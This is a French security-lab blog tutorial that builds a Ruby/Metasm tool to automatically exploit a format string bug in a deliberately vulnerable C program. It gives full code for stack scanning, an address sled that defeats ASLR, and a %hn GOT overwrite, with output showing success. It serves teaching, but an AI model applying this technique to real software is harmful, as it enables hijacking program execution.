Exploitation de format string avec Metasm
Par Thomas, vendredi 9 juillet 2010 à 17:00 :: Reverse engineering :: #88 :: rss
Metasm est à la mode en ce moment dans le lab, après le post d'Ivan et celui de Yoann, c'est à mon tour de m'y coller.
Depuis que j'exploite des vulnérabilités de type Format String, j'ai toujours eu l'envie de me coder rapidement un outil en Python pour automatiser un peu les choses. Mais après les posts de mes deux collègues, je me suis dit qu'il était peut être temps de se jeter dans le bain Metasm.
Passons aux choses sérieuses : voici d'abord le programme vulnérable utilisé comme cible.
[C]
// gcc -o vuln vuln.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
#include <stdio.h>
#include <stdlib.h>
int secret() {
fputs("\nYou got it man!\n", stdout);
fputs("\nThe password for next level is: IL0V3RabbitWithToads!\n", stdout);
exit(0);
}
int main(int argc, char **argv){
printf(argv[1]);
printf("\nBye bye!\n");
return 0;
}
Je suis sous Ubuntu, et je ne touche pas à l'ASLR.
[bash] toma@leonidas:~/metaficelle$ cat /proc/sys/kernel/randomize_va_space 2 toma@leonidas:~/metaficelle$
Je vais passer rapidement sur les détails de l'exploitation vu que ce n'est pas ce qui nous intéresse ici. Donc pour faire simple, on se sert de la vulnérabilité pour aller changer une valeur dans la GOT afin de sauter vers la fonction qui nous affiche le mot de passe au lieu de réaliser un deuxième appel à printf().
Préparons Metasm !
[bash] toma@leonidas:~/metaficelle$ export RUBYLIB=~/metasm
Et passons à l'attaque !
Nous commençons par utiliser le désassembleur de Metasm afin de récupérer quelques adresses intéressantes :
- celle du main : qui nous servira pour breaker
- celle de la fonction secret : c'est cette adresse que nous devons écrire afin de détourner le flot d'exécution du programme
- celle de puts dans la GOT : c'est ici que nous devrons écraser avec la format string
[ruby]
#! /usr/bin/env ruby
require 'metasm'
include Metasm
target = './vuln'
puts '[*] Format String Automatic Exploitation', '[*] http://metasm.cr0.org/', ''
bin = AutoExe.decode_file target
dasm = bin.init_disassembler
main = dasm.prog_binding["main"]
secr = dasm.prog_binding["secret"]
dest = dasm.prog_binding["_got_plt_puts"]
printf("[*] We will write 0x%x @ 0x%x\n", secr, dest)
Maintenant, il faut calculer l'offset entre la chaine de format et ses arguments virtuels (autrement dit, l'adresse où on va écrire). Cette adresse se trouve dans la pile. Deux problèmes se posent :
- la pile bouge - l'adresse ne sera pas forcément bien alignée
Nous allons donc devoir chercher à la main l'adresse (bien alignée ou pas) dans la pile. Une fois celle-ci trouvée, nous allons calculer le padding nécessaire à ajouter afin qu'elle soit bien alignée.
Pour trouver l'offset nécessaire afin d'atteindre notre adresse dans la pile, nous utilisons le bout de code suivant, qui va simplement parcourir la pile et tester si la valeur est bien l'adresse souhaitée. Attention, l'adresse n'est pas forcément alignée. Nous devons donc pour chaque adresse lue dans la pile la tester avec d'éventuelles rotations de 1 à 3 octets.
Étant donné que la pile bouge, nous mettons sur la pile (en 2ème argument du programme cible) un grand nombre de fois nos deux adresses, afin qu'elles soient plus simples à retrouver (un peu comme le principe du nopsled).
[ruby]
# fonction effectuant un simple ROR
class Integer
def ror count
(self >> count) | (self << (8*0.size - count)) & 0xFFFFFFFF
end
end
# fonction retournant vraie si l'adresse passee en parametre est une version mal alignee de l'adresse patern
def isTheRightAddress(address,patern)
n = 0
testAdr = address
# on effectue des rotations vers la droite de 1 à 3 octets afin de voir si c'est la bonne adresse
while n != 32
if testAdr == patern
return true
end
n += 8
testAdr = (address.ror n)
end
return false
end
# ----------------------------------------------------------------------------------------------------------
dbg = OS.current.create_debugger [target, "%c%", ([dest].pack("i")+[dest+2].pack("i"))*10000]
dbg.go(main)
esp = dbg.get_reg_value(:esp)
i=0
offset1 = 0
offset2 = 0
padding = ""
loop do
val = dbg.memory_read_int(esp+4*i, 4)
if isTheRightAddress(val,dest)
printf("got it with an offset of %d!\n",i)
val = dbg.memory_read_int(esp+4*i, 4)
val2 = dbg.memory_read_int(esp+4*(i+1), 4)
printf("Val @ esp+%d*4 = 0x%x\n",i,val)
printf("Val @ esp+%d*4 = 0x%x\n",i+1,val2)
offset1 = i
offset2 = offset1 + 1
offset1 += 5000
offset2 += 5000
# on calcule le padding
padding = getPadding(val,dest)
printf("Padding will be: %s\n",padding)
break
end
i += 1
end
Nous noterez les deux lignes suivantes :
[ruby] offset1 += 5000 offset2 += 5000
Elles ne sont pas anodines et permettent d'assurer le contournement de l'ASLR du système. En effet, l'offset trouvé par notre code pointera vers le 1er couple d'adresses sur la pile. Mais, la pile étant variable, à la prochaine exécution du programme il n'y a aucune chance pour que l'on retombe avec cet offset sur notre couple. Étant donné que nous avons un sled de 10000 couples, en ajoutant 5000 à l'offset, on tapera au milieu du sled. Donc même si la pile bouge, on restera dans le sled, et ainsi le couple d'adresses sera atteint.
La fonction suivante permet de trouver le padding nécessaire pour avoir une adresse bien alignée :
[ruby]
def getPadding(address,patern)
patern = sprintf("%08x",patern)
address = sprintf("%08x",address)
n = patern.index(address[0,2])/2
case n
when 0
return ""
when 1
return "A"
when 2
return "AA"
when 3
return "AAA"
else
return false
end
end
On peut maintenant forger notre chaine de format. Étant donné que nous avons 4 octets à écrire, nous allons faire deux écritures de 2 octets chacune. En effet, nous allons écrire les deux octets de poids faibles à l'adresse dest, et les deux octets de poids forts à l'adresses de dest+2.
[ruby]
pfaible = secr & 0x0000FFFF
pfort = secr >> 16
fs = ""
tapis = ([dest].pack("i")+[dest+2].pack("i"))*10000
if pfort > pfaible
fs = "%"+pfaible.to_s(10)+"c%"+offset1.to_s(10)+"\\$hn%"+(pfort - pfaible).to_s(10)+"c%"+offset2.to_s(10)+"\\$hn"
else
fs = "%"+pfort.to_s(10)+"c%"+offset2.to_s(10)+"\\$hn%"+(pfaible - pfort).to_s(10)+"c%"+offset1.to_s(10)+"\\$hn"
end
printf("Generated format string: %s\n",fs)
Pour finir, on lance le programme vulnérable avec en arguments la chaine de format et le sled d'adresses, le tout correctement paddé.
[ruby]
cmd = target + " " + fs + " " + tapis + padding
printf("Launching the vulnerable target with the generated format string...\n")
sleep(5)
system(cmd)
On peut maintenant tester le bon fonctionnement de notre outil :
[bash] toma@leonidas:~/metaficelle$ ruby metaficelle.rb [*] Format String Automatic Exploitation [*] http://metasm.cr0.org/ [*] We will write 0x80484a4 @ 0x804a010 got it with an offset of 1569! Val @ esp+1569*4 = 0x100804a0 Val @ esp+1570*4 = 0x120804a0 Padding will be: AAA Generated format string: %2052c%6570\$hn%31904c%6569\$hn Launching the vulnerable target with the generated format string... [...] [...] You got it man! The password for next level is: IL0V3RabbitWithToads! toma@leonidas:~/metaficelle$
Et voilà, encore une fois la puissance de Metasm est démontrée !
La modification de l'outil afin de détourner autrement le flot d'exécution du
programme vulnérable (en écrasant une autre adresse dans la GOT, ou un autre
pointeur de fonction) est très simple et rapide à mettre en place : il suffit de modifier
la variable dest.

Commentaires
1. Le vendredi 9 juillet 2010 à 17:45, par Ange
2. Le mercredi 11 août 2010 à 13:19, par toï
3. Le dimanche 15 août 2010 à 12:19, par Thomas
Ajouter un commentaire